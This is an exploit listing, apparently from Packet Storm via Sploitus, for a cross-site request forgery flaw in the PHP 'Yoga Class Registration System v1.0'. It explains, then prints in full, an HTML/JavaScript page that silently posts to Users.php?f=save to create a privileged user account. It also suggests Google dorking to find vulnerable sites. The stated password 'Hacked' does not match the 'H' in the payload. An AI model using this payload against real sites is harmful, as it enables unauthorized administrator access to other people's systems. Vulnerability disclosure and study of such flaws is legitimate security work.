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## https://sploitus.com/exploit?id=PACKETSTORM:180013
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| # Title : Yoga Class Registration System v1.0 CSRF Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |  
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ycrs.zip |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking ฤฐn Google Or Other Search Enggine.  
  
[+] The following JavaScript code :  
  
creating a POST request using JavaScript to send certain data to a local server via HTTP. Here are the key points:  
  
[+] Create an XMLHttpRequest object:  
  
xhr = new XMLHttpRequest(); Creates an XMLHttpRequest object that is used to send requests to the server.  
  
[+] Open the request:  
  
xhr.open("POST", "http://127.0.0.1/php-ycrs/classes/Users.php?f=save", true); Opens a connection to the specified URL (in this case, a local server) using the HTTP method "POST".  
  
[+] Set the request headers:  
  
xhr.setRequestHeader("Accept", "*/*"); Specifies that the request accepts any type of response.  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); Specifies that the request accepts responses in English.  
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------"); Specifies the content type of the request as multipart/form-data with specified boundaries.  
  
[+] Enable sending cookies:  
  
xhr.withCredentials = true; Specifies that cookies should be sent with the request.  
  
[+] Setting up the request data:  
  
The body is set up using a string containing the form data parts. Each part contains information such as username, password, and type.  
  
This string is converted to a Uint8Array and then to a Blob to be sent.  
  
[+] Sending the request:  
  
xhr.send(new Blob([aBody])); Sends the data to the server.  
  
[+] User Interface:  
There is a button inside the HTML form that calls the submitRequest() function when clicked, which executes the request.  
  
[+] Go to the line 6. Set the target site link Save changes and apply .   
  
[+] infected file : Users.php.  
  
[+] Line 15 : Choose a name "indoushka".  
  
[+] Line 19 : Choose a pass "Hacked".  
  
[+] save code as poc.html   
  
[+] payload :   
  
<!DOCTYPE html>   
<html>   
<body>  
<script> function submitRequest()   
{ var xhr = new XMLHttpRequest();   
xhr.open("POST", "http:\/\/127.0.0.1\/php-ycrs\/classes\/Users.php?f=save", true);   
xhr.setRequestHeader("Accept", "*\/*");   
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------");  
xhr.withCredentials = true;   
var body =  
"-----------------------------\r\n" +   
"Content-Disposition: form-data; name=\"username\"\r\n" +   
"\r\n" +   
"indoushka\r\n" +   
"-----------------------------\r\n" +   
"Content-Disposition: form-data; name=\"password\"\r\n" +   
"\r\n" +   
"H\r\n" +   
"-----------------------------\r\n" +   
"Content-Disposition: form-data; name=\"type\"\r\n" +   
"\r\n" +   
"1\r\n" +   
"-------------------------------\r\n";   
var aBody = new Uint8Array(body.length);   
for (var i = 0; i < aBody.length; i++)   
aBody[i] = body.charCodeAt(i);   
xhr.send(new Blob([aBody]));   
}  
</script>  
<form action="#">  
<input type="button" value="Submit request" onclick="submitRequest();" />  
</form>   
</body>   
</html>  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================